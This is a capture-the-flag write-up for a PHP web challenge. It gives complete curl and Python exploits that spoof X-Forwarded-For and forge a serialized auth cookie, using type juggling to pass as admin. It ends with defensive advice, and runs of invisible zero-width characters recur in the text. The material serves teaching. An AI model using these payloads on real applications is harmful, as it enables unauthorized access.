← Back to Writeups
CUSTOMMediumWeb

Доступ запрещён (Access Denied)

XESXOR9/10/20263 min read
#web#custom#medium#x-forwarded-for-header-ip-spoo#php-insecure-deserialization#php-type-juggling-(boolean-tru#cookie-based-authentication-by#linux

Доступ запрещён (Access Denied)

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-03 | Status: Solved Techniques: X-Forwarded-For header IP spoofing, PHP insecure deserialization, PHP type juggling (boolean true vs string), Cookie-based authentication bypass

Summary

Доступ запрещён (Access Denied) — HackerLab

Description

Я наткнулся на сайт, который, судя по всему, находится только на стадии разработки. Однако, админ все таки добавил некий барьер для посторонних лиц

Analysis

Step 1: Initial Reconnaissance

When attempting to connect to the server, requests are blocked. Testing showed that the server filters connections by IP address, allowing only "local" connections.

Step 2: Bypass #1 — IP Filtering

Adding the X-Forwarded-For: 127.0.0.1 header allows bypassing the filter: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
curl -s -H "X-Forwarded-For: 127.0.0.1" http://62.173.140.174:16020/

The server trusts the X-Forwarded-For header and considers the request as local.

Step 3: Discovering login.php

The main page redirects to login.php with a login form and a "LOGIN AS GUEST" button with parameter ?guest=true.

Step 4: Cookie Analysis

When accessing login.php?guest=true, the server sets an auth cookie with a PHP-serialized array:

a:2:{s:8:"username";s:5:"guest";s:8:"password";s:5:"guest";}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Breakdown:

  • a:2 — array of 2 elements
  • s:8:"username" — string of length 8: "username"
  • s:5:"guest" — string of length 5: "guest"
  • s:8:"password" — string of length 8: "password"
  • s:5:"guest" — string of length 5: "guest"

Step 5: Attack Attempts

  1. Changing username to admin with password admin:

    a:2:{s:8:"username";s:5:"admin";s:8:"password";s:5:"admin";}
    

    Result: "Access to the control panel is allowed only for admin"

  2. Adding role/is_admin fields: Result: same — server only checks username and password ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  3. SQL injection in serialized password: Result: unsuccessful

Step 6: Bypass #2 — PHP Type Juggling

The vulnerability lies in how PHP compares values. When using loose comparison (==), boolean true equals any non-empty string:

php
// PHP loose comparison
true == "admin"      // true
true == "password"   // true
true == "anything"   // true

Replace the string password with boolean true (b:1 in PHP serialization):

a:2:{s:8:"username";s:5:"admin";s:8:"password";b:1;}

Solution

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Final Exploit

bash
# URL-encoded payload
# a:2:{s:8:"username";s:5:"admin";s:8:"password";b:1;}
PAYLOAD="a%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3Bb%3A1%3B%7D"

curl -s -H "X-Forwarded-For: 127.0.0.1" \
  -b "auth=$PAYLOAD" \
  http://62.173.140.174:16020/index.php

Python Version

python
import requests
from urllib.parse import quote

TARGET = "http://62.173.140.174:16020"

# PHP serialized array with boolean true as password
payload = 'a:2:{s:8:"username";s:5:"admin";s:8:"password";b:1;}'
encoded = quote(payload, safe='')
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

headers = {
    "X-Forwarded-For": "127.0.0.1"
}

cookies = {
    "auth": encoded
}

resp = requests.get(f"{TARGET}/index.php", headers=headers, cookies=cookies)
print(resp.text)

Flag Breakdown

REDACTED = "insecure deserialization here" — points to the main vulnerability: insecure PHP data deserialization.

PHP Type Juggling Reference

ComparisonResult
true == "admin"true
true == ""false
true == "0"false
0 == "admin"true (PHP < 8.0)
"0" == falsetrue
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

PHP Serialization Format

TypeFormatExample
Strings:length:"value";s:5:"hello";
Integeri:value;i:42;
Booleanb:0; or b:1;b:1; (true)
Arraya:size:{...}a:2:{...}
NULLN;N;
ObjectO:length:"class":size:{...}O:4:"User":1:{...}

Defense

  1. Don't trust X-Forwarded-For — use only behind a trusted reverse proxy
  2. Don't use unserialize() on user data — use JSON instead
  3. Use strict comparison (===) — avoid type juggling
  4. Sign serialized data — HMAC for integrity verification
  5. Store sessions on server — not in cookies ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

References